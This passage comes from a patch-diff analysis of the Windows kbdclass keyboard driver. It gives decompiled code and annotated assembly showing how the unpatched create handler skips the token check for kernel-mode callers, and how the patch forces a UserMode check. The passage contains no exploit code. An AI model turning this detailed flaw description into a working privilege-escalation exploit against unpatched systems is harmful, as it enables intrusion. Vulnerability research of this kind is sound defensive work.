&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_BYTE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;304&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;KeReleaseSpinLock&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;PKSPIN_LOCK&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;72&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;IoCancelIrp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_InterlockedExchange&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="k"&gt;volatile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__int32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;320&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;IofCompleteRequest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;Finding A — &lt;code&gt;KeyboardClassCreate&lt;/code&gt; @ &lt;code&gt;0x1C0001CA0&lt;/code&gt; (unpatched)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; === UNPATCHED kbdclass_unpatched!KeyboardClassCreate (key sequence) ===&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0001D49&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; EDX = IRP-&amp;gt;RequestorMode (0=Kernel, 1=User)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0001D4D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;..&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; SeTcbPrivilege LUID (7)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0001D59&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;..&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; RCX = PrivilegeValue&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0001D61&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_SeSinglePrivilegeCheck&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; KernelMode → returns TRUE (no token check)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0001D6D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0001D6F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;loc_1C0001DAC&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0001D71&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;A0h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; device-extension spinlock&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0001D78&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_KeAcquireSpinLockRaiseToDpc&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0001D84&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; RDX = FileObject&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0001D88&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;DriverEntry&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; trusted marker = DriverEntry (0x1C000F080)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0001D8F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; FileObject-&amp;gt;FsContext2 := marker&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; === PATCHED kbdclass_patched!sub_1400039F0 (the fix) ===&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140003A3F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; r14 = current I/O stack location; +2 = Flags&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140003A44&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;and&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;dil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;                           &lt;/span&gt;&lt;span class="c1"&gt;; isolate SL_FORCE_ACCESS_CHECK (bit 0)&lt;/span&gt;
&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140003AB2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;..&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; SeTcbPrivilege LUID (7)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140003ABE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;dil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dil&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;; flag set?&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140003AC1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;loc_140003D2B&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;;   -&amp;gt; force UserMode&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140003AC7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; else: actual IRP-&amp;gt;RequestorMode&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140003ACB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;..&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; PrivilegeValue&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140003AD3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;SeSinglePrivilegeCheck&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140003AFE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;sub_140011080&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; trusted marker (patched sentinel)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140003B05&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; FileObject-&amp;gt;FsContext2 := marker&lt;/span&gt;
&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140003D2B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="c1"&gt;; force PreviousMode = UserMode&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140003D2D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;loc_140003ACB&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; ...into SeSinglePrivilegeCheck&lt;/span&gt;
&lt;span class="c1"&gt;; audit + deny path for a kernel caller that set SL_FORCE_ACCESS_CHECK:&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140003C1A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;r15d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;C0000022h&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; STATUS_ACCESS_DENIED&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140003C2D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r12b&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; RequestorMode == 0 (KernelMode)?&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140003C37&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;dil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dil&lt;/span&gt;&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="c1"&gt;; SL_FORCE_ACCESS_CHECK set?&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x140003C47&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;sub_140005AB0&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; audit&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Key annotations:&lt;/strong&gt;
- Unpatched &lt;code&gt;0x1C0001D49&lt;/code&gt; / &lt;code&gt;0x1C0001D61&lt;/code&gt; — &lt;code&gt;RequestorMode&lt;/code&gt; is loaded straight into the privilege check; KernelMode makes the check succeed without a token examination.
- Patched &lt;code&gt;0x140003A3F&lt;/code&gt;/&lt;code&gt;0x140003A44&lt;/code&gt; — the driver now reads &lt;code&gt;SL_FORCE_ACCESS_CHECK&lt;/code&gt; from the create stack location's &lt;code&gt;Flags&lt;/code&gt;.
- Patched &lt;code&gt;0x140003D2B&lt;/code&gt; — when that flag is set, &lt;code&gt;PreviousMode&lt;/code&gt; is forced to &lt;code&gt;UserMode&lt;/code&gt; before &lt;code&gt;SeSinglePrivilegeCheck&lt;/code&gt;, so the effective (possibly impersonated) token is validated.
- &lt;code&gt;0x1C0001D8F&lt;/code&gt; / &lt;code&gt;0x140003B05&lt;/code&gt; — the "trusted" marker written to &lt;code&gt;FileObject-&amp;gt;FsContext2&lt;/code&gt;; this is the capability granted by the check.&lt;/p&gt;
&lt;h3&gt;Finding B — &lt;code&gt;KeyboardClassRemoveDevice&lt;/code&gt; @ &lt;code&gt;0x1C0004F2C&lt;/code&gt; (unpatched)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; === UNPATCHED kbdclass_unpatched!KeyboardClassRemoveDevice ===&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004F43&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xchg&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;140&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; state := 1, eax := old state&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004F49&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004F4B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;loc_1C0004FC8&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; already engaged -&amp;gt; skip&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004F4D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004F51&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_KeAcquireSpinLockRaiseToDpc&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004F5D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;128&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; read wait-wake IRP under lock&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004F64&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0004F67&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;loc_1C0004F7C&lt;/span&gt;
